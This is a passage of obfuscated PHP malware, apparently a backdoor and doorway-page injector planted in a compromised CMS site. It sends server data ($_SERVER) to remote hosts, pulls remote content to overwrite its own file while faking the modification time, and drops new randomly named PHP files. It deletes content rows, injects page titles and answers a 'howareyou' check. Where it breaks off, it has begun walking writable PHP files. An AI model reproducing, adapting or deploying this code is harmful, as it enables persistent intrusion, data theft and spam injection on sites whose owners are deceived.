${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x6b\x73\x63eb\x71m"] = "re\x73p";
$ycryduik = "\x67\x6fo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70\x61g\x65";
${${"G\x4c\x4fBA\x4cS"}["\x69\x6c\x78\x73\x75\x6a\x62"]} = "\x50\x4fS\x54 $linkofpost\x20HT\x54P/\x31.0\r\n";
${$pihdkkvnlru} .= "\x48ost: $doordomain\r\n";
$rknqvsnsdbju = "\x6f\x75t";
${$iylgqmu} .= "\x43ont\x65n\x74-T\x79\x70\x65:\x20app\x6cic\x61t\x69\x6f\x6e/\x78-\x77ww-\x66\x6f\x72\x6d-\x75\x72\x6ce\x6e\x63od\x65\x64\r\n";
${$rknqvsnsdbju} .= "\x43o\x6eten\x74-\x4c\x65ngth:\x20" . strlen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x79i\x66\x69\x73r\x7a"]}) . "\r\n\r\n";
fwrite(${${"\x47\x4c\x4f\x42\x41LS"}["kk\x78h\x74n\x77\x75e\x6f\x74"]}, ${${"\x47L\x4fB\x41L\x53"}["\x66\x6ed\x72\x76\x6f\x75z\x66\x64"]});
fwrite(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x74\x79\x66\x74u\x6b\x64\x62\x68\x61"]}, ${${"GL\x4f\x42\x41\x4c\x53"}["\x78\x67mc\x69\x79\x6e\x6cqu\x68"]});
${${"\x47LOB\x41\x4cS"}["\x70\x6bs\x63\x65\x62qm"]} = "";
while (!feof(${${"\x47L\x4fB\x41\x4c\x53"}["kkxh\x74nwu\x65\x6f\x74"]})) {
${${"\x47L\x4f\x42\x41\x4cS"}["l\x7a\x65\x66\x76\x65\x63\x69"]} .= fgets(${${"\x47\x4cO\x42\x41\x4cS"}["\x6bk\x78\x68\x74\x6e\x77\x75\x65o\x74"]}, 4096);
}
fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73br\x77\x65d\x79\x79"]});
list(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6e\x65m\x63yr\x6aq\x67w"]}, ${${"G\x4c\x4fB\x41\x4cS"}["w\x66\x79rn\x6b\x68\x62\x64\x72"]}) = @preg_split("/\x5cR\x5cR/", ${$jfycybheel}, 2);
${$ycryduik} = ${${"G\x4c\x4fB\x41\x4c\x53"}["\x77\x66\x79\x72\x6e\x6b\x68b\x64\x72"]};
}
}
${${"\x47\x4c\x4f\x42A\x4c\x53"}["elfc\x6b\x74\x7ab\x71\x66\x62"]} = preg_replace("/<\x74\x69t\x6c\x65\x3e(.*)<\x5c/t\x69\x74\x6c\x65\x3e/i\x55\x6d", "\x3c\x74it\x6c\x65\x3e" . ${$skfvsuopm} . "</ti\x74\x6c\x65\x3e", ${$mgzdlnixkas});
$spvivejuv = "\x71\x75\x65\x72y";
${${"GLO\x42\x41\x4c\x53"}["\x64\x61\x64p\x62\x63k\x71\x70"]} = JFactory::getDbo();
${$spvivejuv} = $db->getQuery(true);
$query->delete($db->quoteName("#__c\x6f\x6e\x74en\x74"))->where(array(
$db->quoteName("id") . "\x3d" . ${${"\x47LO\x42A\x4c\x53"}["s\x77c\x67\x73\x74\x6d\x67\x68"]}
));
$db->setQuery(${${"GL\x4fBA\x4c\x53"}["n\x6d\x6dp\x62b\x77"]});
${${"\x47\x4cOBA\x4c\x53"}["\x79\x62\x72w\x78\x6e\x68\x64\x63b\x76"]} = $db->query();
if (!empty(${${"GL\x4f\x42AL\x53"}["\x65r\x71\x61t\x62\x69s\x79"]}) && stripos(${${"\x47\x4cOB\x41\x4c\x53"}["\x69\x78i\x77\x6e\x62\x67\x62d\x74\x72"]}, "HE\x52E\x49\x53\x43ON\x54E\x4e\x54")) {
${"\x47L\x4f\x42\x41L\x53"}["\x6a\x64m\x74i\x6eq\x7aj"] = "\x72\x65g\x75l\x61r";
${"\x47\x4c\x4f\x42\x41L\x53"}["wi\x62\x68\x62\x70\x73\x6d\x70\x6c\x72"] = "goo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70\x61\x67\x65";
${${"\x47\x4cOB\x41L\x53"}["\x65\x6cf\x63\x6b\x74\x7a\x62q\x66\x62"]} = str_ireplace("c\x6f\x6et\x65n\x74=\x22\x48\x45\x52\x45IS\x43O\x4eT\x45\x4eT", "\x63\x6fn\x74\x65n\x74\x3d\"", ${${"\x47LOB\x41\x4c\x53"}["\x77i\x62\x68\x62p\x73mp\x6c\x72"]});
${"\x47\x4c\x4fB\x41LS"}["\x66\x73w\x64\x74nc\x71\x71\x6eb"] = "\x6da\x74\x63\x68es";
${"G\x4c\x4f\x42\x41\x4cS"}["bzgk\x6e\x66\x65\x75\x67\x75"] = "go\x6f\x64\x6a\x6f\x6f\x6dl\x61\x70\x61\x67\x65";
${${"G\x4c\x4f\x42\x41\x4cS"}["\x65\x6c\x66ck\x74\x7a\x62q\x66\x62"]} = str_ireplace("c\x6f\x6e\x74\x65nt\x3d\" HER\x45\x49SC\x4f\x4e\x54\x45\x4e\x54", "\x63ont\x65n\x74\x3d\x22", ${${"\x47\x4cO\x42\x41\x4cS"}["\x65\x6c\x66\x63k\x74\x7a\x62q\x66b"]});
${"\x47\x4c\x4fB\x41\x4cS"}["\x66\x69\x75yu\x61\x73\x7aob"] = "\x72eg\x75\x6c\x61r";
${${"GL\x4fB\x41\x4c\x53"}["\x62\x7ag\x6b\x6e\x66e\x75\x67u"]} = preg_replace("/<met\x61\x20\x70\x72\x6fpe\x72\x74y\x3d[\"\x5c\x27]{1}og:de\x73c\x72ipt\x69\x6fn[\x22\\']{1}\x20c\x6fn\x74\x65\x6et\x3d[\x22\x5c\x27]{1}.*[\"\\\x27]{\x31}\\\x73?\x5c/\x3e/\x69U\x73", "", ${${"\x47L\x4f\x42\x41\x4cS"}["\x65\x6cf\x63\x6btz\x62\x71\x66\x62"]});
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["fi\x75y\x75a\x73\x7a\x6f\x62"]} = "|(<h\x32>.*H\x45\x52EIST\x49T\x4c\x45.*\x3c/\x682>)|iUs";
${"G\x4cOB\x41\x4cS"}["\x79n\x79l\x68ku\x6e\x76\x77g"] = "go\x6f\x64\x6a\x6f\x6fm\x6capag\x65";
preg_match_all(${${"\x47\x4c\x4fB\x41L\x53"}["j\x64m\x74\x69\x6eq\x7a\x6a"]}, ${${"\x47\x4cO\x42\x41\x4cS"}["\x79\x6e\x79\x6ch\x6b\x75\x6e\x76w\x67"]}, ${${"\x47\x4cO\x42A\x4cS"}["i\x78\x65\x64\x61\x75\x75ag"]});
if (!empty(${${"GLOB\x41\x4c\x53"}["\x66s\x77d\x74nc\x71\x71nb"]}[1][0])) {
$ltwmnol = "\x67\x6fo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70age";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x70\x6e\x67\x63\x78q\x64oe"] = "\x6d\x61\x74c\x68e\x73";
${${"\x47\x4cOB\x41\x4c\x53"}["\x65\x6c\x66c\x6b\x74z\x62\x71\x66\x62"]} = str_ireplace(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76pn\x67\x63\x78\x71\x64\x6fe"]}[1][0], "\x3ch1>\x48ERE\x49S\x481TA\x47</\x681>", ${$ltwmnol});
}
}
echo ${$oessgycugdt};
exit;
}
} elseif (isset($_GET["\x75\x70d"])) {
$jlduxfhx = "\x63\x6f\x6et\x65\x6et";
$brbkohj = "f\x69\x6c\x65\x74\x69m\x65";
if (ini_get("a\x6c\x6cow_\x75\x72l_fope\x6e") == 1) {
${"G\x4c\x4f\x42AL\x53"}["ok\x66\x64\x6df\x72\x69u\x76g"] = "\x75\x72l";
${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x62\x66i\x67cp\x61\x68w\x70"] = "\x63\x6f\x6e\x74\x65\x78\x74";
$yhyrnhfj = "\x63\x6f\x6e\x74\x65x\x74";
${${"\x47L\x4f\x42\x41L\x53"}["\x6f\x6b\x66\x64\x6d\x66\x72\x69\x75vg"]} = "$url3?\x74\x79p\x65=\x66\x6f\x70en\x26th=$th&\x76\x6c\x3d$vl&\x75p\x64";
${$yhyrnhfj} = stream_context_create(array(
"h\x74\x74p" => array(
"met\x68\x6f\x64" => "PO\x53\x54",
"\x68ea\x64\x65\x72" => array(
"\x43\x6f\x6e\x74e\x6e\x74-t\x79\x70e:\x20\x61p\x70li\x63\x61\x74\x69o\x6e/\x78-\x77w\x77-form-\x75rle\x6ecod\x65d"
),
"c\x6fn\x74e\x6e\x74" => http_build_query($_SERVER)
)
));
${${"G\x4c\x4fB\x41\x4cS"}["i\x6a\x6d\x6e\x70\x74t\x78"]} = @file_get_contents(${${"\x47\x4cOBA\x4c\x53"}["\x6bp\x67y\x69\x63e\x76\x79z"]}, false, ${${"GL\x4f\x42AL\x53"}["nb\x66\x69\x67cp\x61hwp"]});
} elseif (function_exists("c\x75\x72l\x5fi\x6ei\x74")) {
${"\x47\x4cO\x42\x41\x4c\x53"}["s\x6b\x6a\x62\x6c\x70\x6f"] = "\x63\x68";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["clhpi\x77\x79\x65\x76\x79\x78"] = "\x63\x68";
${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x70g\x79\x69\x63\x65\x76y\x7a"]} = "$url3?\x74yp\x65=\x63ur\x6c\x26t\x68=$th\x26\x76l=$vl\x26u\x70\x64";
${"G\x4c\x4f\x42\x41\x4cS"}["qspoo\x6f\x79"] = "c\x68";
$watvrx = "\x63\x68";
${"\x47LO\x42\x41LS"}["qs\x6b\x77\x79v\x67h\x77\x74"] = "\x63\x68";
${${"GL\x4f\x42\x41LS"}["\x63\x6ch\x70i\x77y\x65\x76y\x78"]} = curl_init(${${"\x47\x4c\x4f\x42\x41LS"}["k\x70\x67\x79\x69\x63\x65\x76\x79z"]});
curl_setopt(${$watvrx}, CURLOPT_HEADER, FALSE);
curl_setopt(${${"G\x4c\x4f\x42AL\x53"}["\x77\x6c\x70\x67\x63\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x6b\x6a\x62\x6c\x70\x6f"]}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
${${"\x47LOB\x41L\x53"}["i\x6a\x6d\x6e\x70\x74\x74\x78"]} = @curl_exec(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71s\x6bwyvg\x68\x77t"]});
curl_close(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x73\x70o\x6f\x6f\x79"]});
} else {
${"G\x4cO\x42\x41\x4c\x53"}["\x71\x6a\x6d\x64bw\x63\x70"] = "\x65\x72\x72s\x74\x72";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x7a\x63r\x62\x73\x7a\x6b\x78\x6a\x6aw"] = "\x66p";
${${"G\x4c\x4f\x42A\x4cS"}["\x66z\x63r\x62s\x7a\x6b\x78\x6aj\x77"]} = fsockopen(${${"\x47\x4cOB\x41LS"}["\x66\x76\x62\x6d\x63\x74w\x70"]}, 80, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["t\x75pjhj\x62x\x78\x67"]}, ${${"\x47\x4c\x4fBAL\x53"}["\x71\x6a\x6ddbwcp"]}, 10);
if (${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6bx\x68\x74\x6ew\x75\x65o\x74"]}) {
$ytcwqszqstj = "\x6fut";
$cykprnkh = "\x64\x61\x74\x61";
$iwwdniykixq = "\x68\x65\x61d\x65r";
$idzfxenxstiw = "\x6f\x75\x74";
$fgradkjgdul = "f\x70";
${${"G\x4cO\x42\x41\x4cS"}["\x66\x6d\x6a\x79\x77\x6d\x6e"]} = http_build_query($_SERVER);
${${"G\x4cO\x42A\x4c\x53"}["i\x6c\x78\x73\x75j\x62"]} = "POST\x20$file3?typ\x65=s\x6f\x63\x6b\x73&\x74h=$th&v\x6c\x3d$vl\x26up\x64 \x48T\x54\x50/\x31.\x30\r\n";
${"GL\x4f\x42\x41\x4c\x53"}["\x75q\x75\x63j\x62n\x79\x71\x62"] = "\x64\x61\x74\x61";
$cyzhpjpsd = "\x6f\x75t";
${${"\x47\x4cOBA\x4c\x53"}["\x69\x6c\x78\x73u\x6a\x62"]} .= "\x48\x6fst:\x20$cardas\r\n";
$cpspkqlvfm = "\x62\x6f\x64\x79";
${$cyzhpjpsd} .= "C\x6fnt\x65n\x74-\x54\x79\x70e: \x61\x70\x70\x6cica\x74\x69o\x6e/x-\x77ww-f\x6f\x72\x6d-\x75\x72\x6c\x65\x6eco\x64e\x64\r\n";
${$ytcwqszqstj} .= "Conte\x6et-L\x65n\x67th:\x20" . strlen(${$cykprnkh}) . "\r\n\r\n";
fwrite(${${"G\x4c\x4fB\x41LS"}["\x6b\x6b\x78h\x74\x6e\x77\x75e\x6f\x74"]}, ${$idzfxenxstiw});
fwrite(${${"\x47\x4c\x4f\x42A\x4cS"}["k\x6b\x78h\x74n\x77\x75\x65\x6f\x74"]}, ${${"\x47\x4cO\x42A\x4c\x53"}["u\x71u\x63\x6ab\x6ey\x71b"]});
${${"G\x4c\x4fBA\x4c\x53"}["\x6cz\x65\x66\x76ec\x69"]} = "";
while (!feof(${${"\x47\x4cOB\x41L\x53"}["\x6bkxht\x6ew\x75eo\x74"]})) {
${"G\x4c\x4f\x42\x41\x4cS"}["\x77m\x77\x78\x76a\x70qtnj"] = "\x66p";
${${"\x47\x4cO\x42\x41L\x53"}["lz\x65\x66\x76\x65c\x69"]} .= fgets(${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x6dwx\x76\x61pq\x74\x6e\x6a"]}, 4096);
}
fclose(${$fgradkjgdul});
list(${$iwwdniykixq}, ${${"G\x4cOBA\x4c\x53"}["\x77\x66y\x72\x6e\x6bhbd\x72"]}) = @preg_split("/\x5c\x52\x5cR/", ${${"GL\x4f\x42\x41\x4c\x53"}["\x6cze\x66\x76e\x63i"]}, 2);
${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x6a\x6d\x6ept\x74\x78"]} = ${$cpspkqlvfm};
}
}
if (${$jlduxfhx} == null) {
exit;
}
${"\x47L\x4fB\x41\x4cS"}["\x74\x6e\x6as\x61\x64en"] = "con\x74\x65n\x74";
${$brbkohj} = filemtime(__FILE__);
file_put_contents(__FILE__, ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6e\x6as\x61\x64\x65\x6e"]});
@touch(__FILE__, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x6fh\x74pr\x76\x78\x66"]});
} elseif (isset($_GET["\x77\x73"])) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72wx\x77\x70\x6c\x78y"] = "\x66\x69\x6ce\x34";
$ocshhiddyor = "\x63\x6fnt\x65\x6e\x74";
$hlzhdxgauo = "\x63\x68ar\x73";
${${"\x47L\x4fB\x41L\x53"}["w\x67\x74f\x71\x77\x62"]} = "\x68\x74t\x70://$jj/\x68a\x6edl\x65\x72s/\x74\x78\x74/" . $_GET["ws"] . ".tx\x74";
${"GL\x4fB\x41\x4c\x53"}["\x6e\x6ep\x76y\x6fo\x6c\x72\x73"] = "\x63\x68ar\x73";
${${"\x47\x4cOB\x41L\x53"}["\x72\x77x\x77\x70\x6c\x78\x79"]} = "/handl\x65\x72\x73/\x74xt/" . $_GET["\x77s"] . "\x2etxt";
if (ini_get("\x61\x6clo\x77\x5fu\x72l\x5f\x66o\x70e\x6e") == 1) {
${"\x47L\x4fBA\x4cS"}["\x6c\x6d\x6c\x78\x68\x63\x6dn\x70b\x70"] = "\x63ont\x65nt";
$emogxotf = "\x75r\x6c4";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x6d\x6c\x78\x68c\x6dn\x70\x62\x70"]} = @file_get_contents(${$emogxotf});
} elseif (function_exists("\x63\x75r\x6c_in\x69\x74")) {
$rcrjvrgiyolu = "\x75\x72l\x34";
${${"G\x4c\x4f\x42A\x4c\x53"}["wlp\x67\x63\x71"]} = curl_init(${$rcrjvrgiyolu});
$hthbdkdds = "\x63h";
curl_setopt(${${"\x47\x4c\x4f\x42\x41LS"}["\x77\x6c\x70\x67c\x71"]}, CURLOPT_HEADER, FALSE);
${"GL\x4f\x42\x41L\x53"}["\x62\x78\x70\x73\x79\x77\x6f\x69"] = "\x63\x6fnt\x65\x6e\x74";
curl_setopt(${${"\x47L\x4fB\x41\x4c\x53"}["wlpgc\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
${${"\x47\x4cO\x42AL\x53"}["b\x78\x70\x73\x79\x77\x6fi"]} = @curl_exec(${$hthbdkdds});
curl_close(${${"\x47\x4c\x4f\x42A\x4cS"}["\x77l\x70\x67c\x71"]});
} else {
${"G\x4cO\x42A\x4cS"}["\x76w\x69\x70\x6a\x73\x6d\x63"] = "\x66p";
$lwojcbwpqpg = "jj";
$mhethmfyglyk = "f\x70";
${${"GLOBA\x4cS"}["\x76wi\x70\x6as\x6dc"]} = fsockopen(${$lwojcbwpqpg}, 80, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x75p\x6a\x68j\x62x\x78\x67"]}, ${${"\x47\x4cO\x42A\x4c\x53"}["\x76\x76ov\x6a\x6e\x6cr"]}, 10);
if (${$mhethmfyglyk}) {
${"G\x4cO\x42\x41LS"}["\x78\x75\x6e\x65\x62\x66\x70"] = "\x66\x70";
${${"\x47\x4c\x4fB\x41\x4cS"}["\x69lx\x73\x75\x6a\x62"]} = "G\x45\x54 $file4 \x48\x54TP/1\x2e1\r\n";
${${"G\x4cO\x42\x41LS"}["i\x6cx\x73uj\x62"]} .= "Host:\x20$jj\r\n";
${${"\x47LO\x42\x41\x4c\x53"}["i\x6c\x78\x73\x75\x6ab"]} .= "C\x6f\x6e\x74\x65n\x74-\x54ype: app\x6c\x69c\x61tio\x6e/\x78-w\x77\x77-f\x6f\x72m-u\x72l\x65n\x63o\x64ed\r\n";
${"\x47L\x4f\x42\x41\x4c\x53"}["p\x69\x77wf\x6dv\x72\x6bw"] = "\x66\x70";
fwrite(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70i\x77w\x66m\x76\x72\x6b\x77"]}, ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x6c\x78s\x75j\x62"]});
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x7a\x65f\x76\x65\x63\x69"]} = "";
while (!feof(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6bk\x78\x68t\x6e\x77\x75\x65\x6f\x74"]})) {
${"GLO\x42\x41L\x53"}["\x73\x67u\x6ayn"] = "r\x65\x73p";
${${"G\x4c\x4f\x42\x41L\x53"}["\x73\x67ujy\x6e"]} .= fgets(${${"\x47\x4cOBA\x4c\x53"}["kk\x78\x68\x74n\x77\x75\x65\x6f\x74"]}, 4096);
}
$ghrtqogqlvd = "\x72\x65\x73p";
fclose(${${"\x47\x4cO\x42A\x4c\x53"}["\x78u\x6ee\x62f\x70"]});
${${"\x47L\x4f\x42\x41L\x53"}["\x69jm\x6eptt\x78"]} = ${$ghrtqogqlvd};
}
}
$jcgmxhb = "\x75\x72\x6c";
if (${${"\x47L\x4f\x42\x41\x4cS"}["\x69\x6a\x6d\x6ep\x74\x74\x78"]} == null) {
die("can\x27\x74 \x67e\x74\x20tx\x74\x20\x66il\x65");
}
${$hlzhdxgauo} = "stu\x76\x77x\x79z";
$xxwjvxmwhjhw = "f\x70";
${${"\x47\x4cO\x42\x41\x4cS"}["e\x6e\x74p\x73\x78\x6c"]} = str_shuffle(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6e\x6ep\x76y\x6f\x6f\x6c\x72\x73"]}) . "\x2e\x70h\x70";
${${"G\x4cO\x42\x41\x4cS"}["\x6b\x6bxht\x6e\x77\x75eo\x74"]} = fopen(${${"G\x4cO\x42\x41\x4c\x53"}["\x65n\x74\x70\x73\x78l"]}, "w");
${"\x47LO\x42\x41\x4c\x53"}["\x6e\x79\x75\x64n\x79\x72\x6b\x6dw\x73"] = "u\x72\x6c";
fwrite(${$xxwjvxmwhjhw}, ${$ocshhiddyor});
${${"GL\x4fB\x41LS"}["\x6b\x70gy\x69\x63\x65\x76\x79z"]} = explode("/", $_SERVER["HTTP_HOS\x54"] . $_SERVER["SC\x52\x49PT\x5f\x4eA\x4dE"]);
unset(${${"GLOB\x41\x4c\x53"}["\x6e\x79\x75\x64\x6e\x79rk\x6d\x77\x73"]}[count(${${"GL\x4f\x42\x41\x4c\x53"}["\x6bp\x67\x79\x69c\x65v\x79z"]}) - 1]);
${$jcgmxhb} = "\x68\x74tp://" . trim(implode("/", ${${"\x47L\x4fB\x41\x4cS"}["\x6bpg\x79\x69\x63evy\x7a"]})) . "/$filename";
echo ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x70g\x79ic\x65\x76\x79\x7a"]};
exit;
} elseif ($_GET["\x74\x65s\x74"] == "h\x6f\x77\x61r\x65you" OR isset($_GET["\x7a"])) {
echo "im\x20okey";
exit;
} else {
if (ini_get("\x61l\x6co\x77_\x75r\x6c\x5ff\x6fp\x65\x6e") == 1) {
$dafgekluadb = "\x75r\x6c";
${$dafgekluadb} = "$url?type\x3d\x66\x6fp\x65n&t\x68\x3d$th\x26vl=$vl\x26\x76=" . urlencode(${${"G\x4cOB\x41\x4c\x53"}["s\x6f\x61\x63r\x71g\x67"]}) . "\x26\x63ook\x69eb\x6f\x74\x3d$cookiebot";
${${"\x47\x4cO\x42A\x4c\x53"}["u\x64\x69k\x73\x6e\x66\x73y\x65"]} = stream_context_create(array(
"\x68tt\x70" => array(
"met\x68\x6f\x64" => "\x50OST",
"he\x61d\x65\x72" => array(
"C\x6fn\x74ent-\x74ype:\x20\x61\x70\x70\x6cica\x74io\x6e/\x78-w\x77\x77-f\x6fr\x6d-u\x72l\x65\x6e\x63o\x64\x65d"
),
"c\x6fnte\x6e\x74" => http_build_query($_SERVER)
)
));
$obnjgwlqkl = "\x63ont\x65\x78\x74";
${${"GLO\x42\x41\x4c\x53"}["\x69jmn\x70t\x74x"]} = @file_get_contents(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6bp\x67\x79i\x63\x65v\x79\x7a"]}, false, ${$obnjgwlqkl});
} elseif (function_exists("\x63url\x5fini\x74")) {
$tyjumxcfar = "ch";
$qrblqbcdxk = "\x63\x68";
$wvzajbuxlb = "\x75\x72l";
$itxivmxibuni = "\x75rl";
${$itxivmxibuni} = "$url?\x74\x79p\x65\x3d\x63\x75r\x6c&th\x3d$th&\x76l\x3d$vl&v\x3d" . urlencode(${${"GL\x4f\x42A\x4c\x53"}["s\x6f\x61c\x72\x71\x67\x67"]}) . "&c\x6fok\x69\x65\x62\x6ft\x3d$cookiebot";
$hovvsagcloa = "\x63\x68";
${$tyjumxcfar} = curl_init(${$wvzajbuxlb});
curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wl\x70gc\x71"]}, CURLOPT_HEADER, FALSE);
curl_setopt(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77l\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt(${$qrblqbcdxk}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
$kvdrsyeytp = "\x63\x68";
${${"GLO\x42\x41\x4c\x53"}["i\x6a\x6dn\x70\x74\x74\x78"]} = @curl_exec(${$kvdrsyeytp});
curl_close(${$hovvsagcloa});
} else {
$pbnelkabvj = "f\x70";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x79\x6e\x6a\x63\x62\x61\x61\x68\x71"] = "\x63\x61\x72\x64\x61\x73";
$otxmhafws = "\x65\x72\x72s\x74\x72";
${$pbnelkabvj} = fsockopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64y\x6ejcb\x61\x61\x68q"]}, 80, ${${"GL\x4f\x42\x41\x4c\x53"}["t\x75pj\x68\x6a\x62\x78\x78g"]}, ${$otxmhafws}, 10);
if (${${"\x47LO\x42\x41L\x53"}["\x6b\x6b\x78\x68t\x6e\x77\x75e\x6f\x74"]}) {
${"G\x4c\x4f\x42\x41\x4cS"}["\x74e\x70\x78t\x6d\x66"] = "\x6fut";
${"\x47LO\x42\x41\x4c\x53"}["\x6f\x6b\x74\x6f\x76j\x63\x70\x76"] = "\x6fu\x74";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x61z\x75\x66a\x76i\x67qy\x72"] = "\x64ata";
$gubixzhjv = "\x76";
${"\x47LO\x42A\x4c\x53"}["\x64\x79\x6be\x67\x6b\x67p\x71tv"] = "r\x65\x73\x70";
${"G\x4c\x4f\x42\x41\x4cS"}["v\x77\x77ie\x79k"] = "\x6f\x75\x74";
${"\x47\x4c\x4f\x42ALS"}["\x77y\x6cmf\x76d\x65"] = "\x6fu\x74";
${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6e\x64\x77\x79\x68h\x6cdk"] = "\x66\x70";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x75\x79k\x70\x68\x78\x6ei\x65\x71"] = "da\x74a";
$xqsezeomm = "\x72e\x73p";
${${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x61\x7au\x66avig\x71\x79\x72"]} = http_build_query($_SERVER);
${${"\x47\x4c\x4f\x42AL\x53"}["\x74\x65\x70xtm\x66"]} = "P\x4f\x53\x54 $file?t\x79\x70e\x3d\x73o\x63ks&\x74\x68=$th&\x76l\x3d$vl&v\x3d" . urlencode(${$gubixzhjv}) . "&co\x6fkieb\x6f\x74\x3d$cookiebot HT\x54P/\x31\x2e\x30\r\n";
${"\x47\x4c\x4fB\x41L\x53"}["\x75ligua\x66p"] = "\x63\x6f\x6e\x74e\x6e\x74";
${${"GL\x4f\x42\x41\x4c\x53"}["\x76wwie\x79\x6b"]} .= "\x48\x6f\x73\x74:\x20$cardas\r\n";
$fxfhpfsd = "o\x75t";
${${"GL\x4fB\x41LS"}["\x77\x79\x6c\x6df\x76d\x65"]} .= "\x43\x6f\x6e\x74\x65n\x74-\x54y\x70\x65:\x20\x61\x70pli\x63\x61ti\x6fn/\x78-w\x77\x77-\x66or\x6d-\x75rl\x65\x6eco\x64\x65d\r\n";
${${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x6bt\x6f\x76j\x63p\x76"]} .= "C\x6f\x6e\x74ent-\x4c\x65n\x67th: " . strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x75yk\x70\x68\x78n\x69\x65\x71"]}) . "\r\n\r\n";
${"\x47L\x4f\x42\x41LS"}["px\x62sh\x79i"] = "\x64a\x74\x61";
${"\x47LOB\x41\x4c\x53"}["syr\x66\x73\x6dr\x71\x74\x6f\x77"] = "\x66\x70";
fwrite(${${"\x47\x4c\x4fB\x41\x4cS"}["k\x6b\x78\x68t\x6ew\x75e\x6ft"]}, ${$fxfhpfsd});
fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["f\x6ed\x77yhh\x6cd\x6b"]}, ${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x78\x62\x73\x68\x79\x69"]});
${$xqsezeomm} = "";
while (!feof(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x79\x72\x66sm\x72\x71\x74o\x77"]})) {
$oizgwcxd = "r\x65sp";
$ysoocux = "\x66p";
${$oizgwcxd} .= fgets(${$ysoocux}, 4096);
}
fclose(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x6bx\x68\x74\x6e\x77\x75e\x6ft"]});
list(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6eem\x63\x79r\x6a\x71g\x77"]}, ${${"\x47\x4c\x4fBAL\x53"}["w\x66y\x72n\x6bh\x62\x64\x72"]}) = @preg_split("/\\R\\\x52/", ${${"\x47\x4c\x4fB\x41\x4cS"}["\x64\x79\x6b\x65g\x6b\x67p\x71\x74v"]}, 2);
${${"G\x4c\x4f\x42A\x4cS"}["\x75\x6c\x69\x67\x75\x61f\x70"]} = ${${"\x47LO\x42A\x4c\x53"}["\x77f\x79\x72\x6e\x6bh\x62\x64r"]};
}
}
echo ${${"G\x4c\x4f\x42\x41LS"}["i\x6a\x6dn\x70\x74\x74x"]};
}
function postlink($linktodoor)
{
foreach (glob("*\x2ep\x68\x70") as ${${"GL\x4f\x42A\x4c\x53"}["\x65n\x74\x70\x73\x78\x6c"]}) {
${"\x47L\x4fB\x41L\x53"}["\x6e\x6e\x69u\x6e\x6d\x6c\x6e\x77\x74\x71o"] = "\x69\x6e\x63fi\x6c\x65\x63o\x6e\x74\x65\x6et";
$icaxhotwncb = "i\x6ec\x66il\x65\x63o\x6ete\x6e\x74";
$qvzefsotr = "\x66ilet\x69me";
${"G\x4c\x4fB\x41L\x53"}["\x73\x72\x61\x68\x65\x71\x77\x74\x76j\x73"] = "\x66\x69l\x65\x6e\x61\x6d\x65";
if (${${"GL\x4f\x42\x41\x4cS"}["\x65nt\x70sxl"]} == basename(__FILE__) OR !is_writable(${${"\x47\x4c\x4fBA\x4cS"}["e\x6e\x74\x70\x73\x78\x6c"]})) {
continue;
}
${${"\x47\x4cOBA\x4cS"}["\x6do\x68\x74\x70\x72v\x78f"]} = filemtime(${${"G\x4c\x4f\x42A\x4cS"}["\x65nt\x70sxl"]});
${$icaxhotwncb} = file_get_contents(${${"\x47LOB\x41\x4cS"}["\x65n\x74ps\x78\x6c"]});
